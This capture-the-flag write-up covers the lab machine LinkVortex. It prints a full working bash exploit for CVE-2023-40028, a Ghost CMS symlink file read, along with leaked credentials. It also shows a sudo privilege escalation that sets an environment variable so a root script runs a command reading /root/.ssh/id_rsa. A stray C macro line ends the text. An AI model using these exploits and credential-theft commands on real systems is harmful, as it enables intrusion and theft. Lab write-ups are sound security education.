RECON

Port Scan

Quick full port scanning:

$ rustscan -a $ip --ulimit 1000 -r 1-65535 -- -A -sC

PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA=
|   256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz
80/tcp open  http    syn-ack Apache httpd
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Domain: http://linkvortex.htb/

Subdomain

A company selling hardware, with a search bar in the web app:

Fuzz subdomains:

Bash
ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w ~/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 100

Subdomain: http://dev.linkvortex.htb

This website is clearly under development, exposing potential internal information:

Dirsearch

Path fuzzing for http://dev.linkvortex.htb:

Bash
dirsearch -t 50 -u "http://dev.linkvortex.htb"

Severe git leak vulnerability identified:

BOB

Git Dump | Password

The accessible .git directory indicates that we can potentially retrieve the repository's content, using git-dumper as we introduced in the Trickster writeup. Dump the whole repository to our attack machine:

Bash
python git_dumper.py http://dev.linkvortex.htb/.git/ $workdir/linkvortex-repo

Apply Python virtual env to run:

We have dumped a project with tons of files:

The config file under .git points to the official Ghost CMS GitHub repository and fetch the specific tag v5.58.0 from the remote:

Try to enumerate credentials inside the dump, we found some plain-text password in authentication.test.js:

The file appears to be a test script for authentication functionality in the Ghost CMS admin API.

A list of credentials was discovered. The same file exists under the same path in the official Ghost repository (tag v5.58.0). Download it for comparison:

Bash
wget https://raw.githubusercontent.com/TryGhost/Ghost/v5.58.0/ghost/core/test/regression/api/admin/authentication.test.js -O authentication-official.test.js

Use the diff command to compare dumped file with the official one:

Bash
diff -u ./linkvortex-repo/ghost/core/test/regression/api/admin/authentication.test.js ./authentication-official.test.js

We found a custom password (OctopiFociPilfer45), likely used during development or deployment on the target system:

Inspect it inside the source code:

JavaScript
it('complete setup', async function () {
    const email = '[email protected]';
    const password = 'OctopiFoc▒▒▒▒▒▒';
	...

Enum | Username

Using the discovered password, we can uncover valid usernames for the Ghost CMS. By examining the logs from the leaked GIT repository at http://dev.linkvortex.htb/.git/logs/HEAD:

0000000000000000000000000000000000000000 299cdb4387763f850887275a716153e84793077d root <[email protected]> 1730322603 +0000	clone: from https://github.com/TryGhost/Ghost.git

An email [email protected] was found, matching the typical username format for Ghost CMS logins.

Additionally, by exploring the articles on the website, the author is identified as admin, likely the primary user of the CMS:

The URL http://linkvortex.htb/author/admin/ further confirms the existence of the admin user:

The email for the author is likely [email protected].

Ghost | CVE-2023-40028

Ghost CMS version 5.58.0 has multiple CVEs, including CVE-2023-40028, which allows authenticated users to upload symlinks, leading to arbitrary file read vulnerabilities. This issue was patched in version 5.59.1.

A Proof-of-Concept (PoC) exploit is available on GitHub, and it can be modified to suit our case:

Bash
#!/bin/bash

# Ghost Arbitrary File Read
# Version: BEFORE [ 5.59.1 ]
# CVE : CVE-2023-40028

#GHOST ENDPOINT
GHOST_URL='http://linkvortex.htb'
GHOST_API="$GHOST_URL/ghost/api/v3/admin/"
API_VERSION='v3.0'

PAYLOAD_PATH="`dirname $0`/exploit"
PAYLOAD_ZIP_NAME=exploit.zip

# Function to print usage
function usage() {
  echo "Usage: $0 -u username -p password"
}

while getopts 'u:p:' flag; do
  case "${flag}" in
    u) USERNAME="${OPTARG}" ;;
    p) PASSWORD="${OPTARG}" ;;
    *) usage
       exit ;;
  esac
done

if [[ -z $USERNAME || -z $PASSWORD ]]; then
  usage
  exit
fi

function generate_exploit()
{
  local FILE_TO_READ=$1
  IMAGE_NAME=$(tr -dc A-Za-z0-9 </dev/urandom | head -c 13; echo)
  mkdir -p $PAYLOAD_PATH/content/images/2024/
  ln -s $FILE_TO_READ $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
  zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/ &>/dev/null
}

function clean()
{
  rm $PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png
  rm -rf $PAYLOAD_PATH
  rm $PAYLOAD_ZIP_NAME
}

#CREATE COOKIE
curl -c cookie.txt -d username=$USERNAME -d password=$PASSWORD \
   -H "Origin: $GHOST_URL" \
   -H "Accept-Version: v3.0" \
   $GHOST_API/session/ &> /dev/null

if ! cat cookie.txt | grep -q ghost-admin-api-session;then
  echo "[!] INVALID USERNAME OR PASSWORD"
  rm cookie.txt
  exit
fi

function send_exploit()
{
  RES=$(curl -s -b cookie.txt \
  -H "Accept: text/plain, */*; q=0.01" \
  -H "Accept-Language: en-US,en;q=0.5" \
  -H "Accept-Encoding: gzip, deflate, br" \
  -H "X-Ghost-Version: 5.58" \
  -H "App-Pragma: no-cache" \
  -H "X-Requested-With: XMLHttpRequest" \
  -H "Content-Type: multipart/form-data" \
  -X POST \
  -H "Origin: $GHOST_URL" \
  -H "Referer: $GHOST_URL/ghost/" \
  -F "importfile=@`dirname $PAYLOAD_PATH`/$PAYLOAD_ZIP_NAME;type=application/zip" \
  -H "form-data; name=\"importfile\"; filename=\"$PAYLOAD_ZIP_NAME\"" \
  -H "Content-Type: application/zip" \
  -J \
  "$GHOST_URL/ghost/api/v3/admin/db")
  if [ $? -ne 0 ];then
    echo "[!] FAILED TO SEND THE EXPLOIT"
    clean
    exit
  fi
}

echo "WELCOME TO THE CVE-2023-40028 SHELL"
while true; do
  read -p "file> " INPUT
  if [[ $INPUT == "exit" ]]; then
    echo "Bye Bye !"
    break
  fi
  if [[ $INPUT =~ \  ]]; then
    echo "PLEASE ENTER FULL FILE PATH WITHOUT SPACE"
    continue
  fi
  if [ -z $INPUT  ]; then
    echo "VALUE REQUIRED"
    continue
  fi
  generate_exploit $INPUT
  send_exploit
  curl -b cookie.txt -s $GHOST_URL/content/images/2024/$IMAGE_NAME.png
  clean
done

rm cookie.txt

The exploit uses a symlink attack by uploading a malicious ZIP file containing a symbolic link to a target file. Ghost CMS processes the uploaded ZIP file and resolves the symlink, exposing the contents of the target file.

Here's the workflow of POC:

  • The generate_exploit function:
    • Creates a directory for the payload: PAYLOAD_PATH/content/images/2024/.
    • Generates a symlink that points to the target file (FILE_TO_READ).
    • Adds the symlink to a ZIP file (exploit.zip).
  • The send_exploit function uploads the malicious ZIP file to the Ghost admin API's database import endpoint (/ghost/api/v3/admin/db) using curl.
  • Headers like X-Ghost-Version are included to ensure compatibility with the Ghost API.
  • After the exploit is uploaded, the target file's content is accessible at: $GHOST_URL/content/images/2024/$IMAGE_NAME.png.
  • The script retrieves the file content using a curl request and displays it.
  • After the exploit, the script enters an interactive loop where the user can specify files to read.

Run the script and test with the credentials we found:

Bash
bash poc.sh -u '[email protected]' -p 'OctopiFo▒▒▒▒▒▒▒▒'

We also identified a standard user node, likely representing the node.js runtime environment commonly used by Ghost CMS:

Ghost | Config

Now we have arbitrary file read capabilities in a Ghost CMS installation, deployed via Node.js, we can target specific paths like /var/lib/ghost/config.production.json which contains sensitive configuration data, according to the Ghost documentation.

For self-hosted Ghost users, a custom configuration file can be used to override Ghost’s default behaviour. This provides you with a range of options to configure your publication to suit your needs.

As a result:

file> /var/lib/ghost/config.production.json

{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "[email protected]",
        "pass": "fibber-▒▒▒▒▒▒-▒▒▒▒"
        }
      }
    }
}

Another set of credentials was found for the user bob. Testing these credentials for SSH access allowed us to compromise Bob’s account and retrieve the user flag:

ROOT

Sudo

Examining the network configuration reveals that Ghost CMS is running inside a Docker container. The node user corresponds to node.js, which is responsible for running the application:

Inspect sudo privilege for the current user Bob:

bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
    env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

This sudo privilege configuration allows Bob to execute the script /opt/ghost/clean_symlink.sh with bash as root, without requiring a password. However, the script only accepts files ending in *.png as arguments.

Read the clean_symlink.sh script:

Bash
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

This script is designed to process .png files, specifically symbolic links, and either quarantine them or remove them if they target sensitive directories like /etc or /root.

It defines 2 key variables:The script ensures that only .png files are processed.

  • QUAR_DIR="/var/quarantined":
    • The directory where symbolic links (.png files) are moved if they aren't pointing to critical paths.
  • CHECK_CONTENT=false:
    • If enabled (true), the script attempts to display the content of the quarantined file using cat.
    • It blindly evaluates the CHECK_CONTENT variable as a shell command without sanitization or validation.

Key workflow:

  • Links targeting /etc or /root are identified and removed.
  • The script follows symbolic links. This means we can trick the script into reading or moving sensitive files outside /etc or /root by pointing the link to non-critical paths.
  • For example, linking to /var/log/syslog or /home/username/.ssh/id_rsa won't trigger removal but will move the file to /var/quarantined.
  • If CHECK_CONTENT is set to true, the script will display the content of the quarantined file: /usr/bin/cat $QUAR_DIR/$LINK_NAME.

This setup allows us to read files that would otherwise be inaccessible, as the script runs with root privileges. By leveraging the CHECK_CONTENT variable, we can escalate further to achieve arbitrary code execution as root.

Exploit

By default, the script will stop us from reading sensitive files:

We can exploit the script's logic flaw by creating a symlink pointing to another symlink that ends with .png to bypass the extension check:

Bash
ln -s /tmp/evil.png /tmp/good.png

Then, create the second symlink (/tmp/evil.png) pointing to anywhere:

Bash
ln -s /dev/null /tmp/evil.png
  • The first link (/tmp/good.png) satisfies the .png file requirement.
  • The second link (/tmp/evil.png) can point to anything. The purpose is only to satisfy the .png file extension check.

Now, simply set CHECK_CONTENT to execute /bin/cat /root/.ssh/id_rsa:

Bash
export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'

We can further enhance the exploit by making the second symlink point to our target file, such as /root/.ssh/id_rsa. By setting CHECK_CONTENT to TRUE, we achieve arbitrary file read. However, since we already have arbitrary code execution via the previous method, this provides an additional layer of exploitation flexibility.

Run the vulnerable script with the initial symbolic link (/tmp/good.png):

Bash
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/good.png

The script moves /tmp/good.png to /var/quarantined/ (we don't actually care):

It executes CHECK_CONTENT, directly reading and printing /root/.ssh/id_rsa:

Root:


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)